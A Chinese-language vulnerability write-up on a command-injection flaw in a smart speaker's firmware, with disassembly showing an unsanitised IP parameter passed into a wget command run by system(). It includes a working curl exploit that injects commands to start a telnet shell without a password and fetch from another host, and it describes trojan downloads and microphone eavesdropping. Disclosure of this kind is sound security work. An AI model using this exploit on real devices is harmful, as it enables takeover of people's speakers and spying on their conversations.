0x01 漏洞简述
分析固件可以,该智能音箱会使用wget命令访问其他智能音箱的当前系统状态。具体命令格式为httpapi.asp?command=getprivatesyslog:ip:ip地址。逆向得知,此处存在一处明显存在一处命令注入漏洞,以下是该操作的反汇编代码如下
.text:0040F804 addiu $a1, $v0, (aGetsyslogIp - 0x420000) # "getsyslog:ip:"
.text:0040F808 jalr $t9 ; strncmp
.text:0040F80C li $a2, 0xD # n
.text:0040F810 bnez $v0, loc_40F924
.text:0040F814 lw $gp, 0x8E0+var_8A0($sp)
.text:0040F818 li $v1, 0x420000
.text:0040F81C la $t9, sprintf
.text:0040F820 addiu $s0, 0xD
.text:0040F824 addiu $a1, $v1, (aWgetOTmpWebSys_1 - 0x420000) # "wget -O /tmp/web/sys.log -T 5 http://%"...
.text:0040F828 move $a2, $s0
.text:0040F82C jalr $t9 ; sprintf
.text:0040F830 addiu $a0, $sp, 0x8E0+var_86C # s
.text:0040F834 lw $gp, 0x8E0+var_8A0($sp)
.text:0040F838 la $t9, system
.text:0040F83C jalr $t9 ; system
.text:0040F840 addiu $a0, $sp, 0x8E0+var_86C # command
.text:0040F844 lw $gp, 0x8E0+var_8A0($sp)
.text:0040F848 addiu $a0, $sp, 0x8E0+var_86C # s
.text:0040F84C li $a2, 0x420000
.text:0040F850 la $t9, sprintf
.text:0040F854 addiu $a1, $a2, (aWgetOTmpWebSys_0 - 0x420000) # "wget -O /tmp/web/sys.log -T 5 http://%"...
.text:0040F858 jalr $t9 ; sprintf
.text:0040F85C move $a2, $s0
.text:0040F860 lw $gp, 0x8E0+var_8A0($sp)
.text:0040F864 la $t9, system
.text:0040F868 jalr $t9 ; system
.text:0040F86C addiu $a0, $sp, 0x8E0+var_86C # command
以输入getprivatesyslog:ip:1.1.1.1为例:
- 获取getprivatesyslog:ip:1.1.1.1参数
- 进入上面的反汇编流程,使用sprintf把1.1.1.1拼接在 wget -O /tmp/web/sys.log -T 5 http://%s/getprivatesyslog 中。
- 调用system函数执行上面的wget命令
在这里没有对用户输入的参数部分(IP地址)做详细的校验。导致可以拼接任意参数,例如bash的命令分隔符&
。从而导致命令注入漏洞。
下面是EXP
curl 'http://192.168.2.9/httpapi.asp?command=getprivatesyslog:ip:192.168.2.1/1&%20telnetd%20%2Dl%20%2Fbin%2Fsh&%20wget%20192.168.2.1/3'
此时智能音箱就会开启telnet服务端,随后只需要通过telnet命令即可免密登陆智能音箱,获取智能音箱的shell。
0x02 攻击场景
攻击前提
通过网络可以访问智能音箱即可,没有特定的要求。一般而言使用该智能音箱连接的网络类型中局域网较多,在shoudan中并没有查到关于此智能音箱暴露在公网上的的端口信息,所以此攻击的影响范围为一个局域网内的智能音箱。
攻击场景
从上述可以看出,攻击者大多数通过其他方式破解Wi-Fi,通过Wi-Fi的方式远程攻击该智能音箱。
攻击危害
1.设备安全
本智能音箱自带wget命令,可以通过wget命令下载木马,并通过命令执行漏洞直接运行即可。值得注意的是,该嵌入式模块是linkplay公司的软硬件一体解决方案,理论上讲使用linkplay a31型号芯片的智能音箱(亚马逊音响,doss小度音响),都存在此类问题
2.隐私安全
该智能音箱带有麦克风,可以用来监听当前的谈话内容等。并通过Wi-Fi的方式将监听内容发送给攻击者,造成被害人的隐私泄露
0x03 修复建议
1、建议将用户输入的参数做过滤处理,过滤掉busybox的常见的几种命令分隔符
网友评论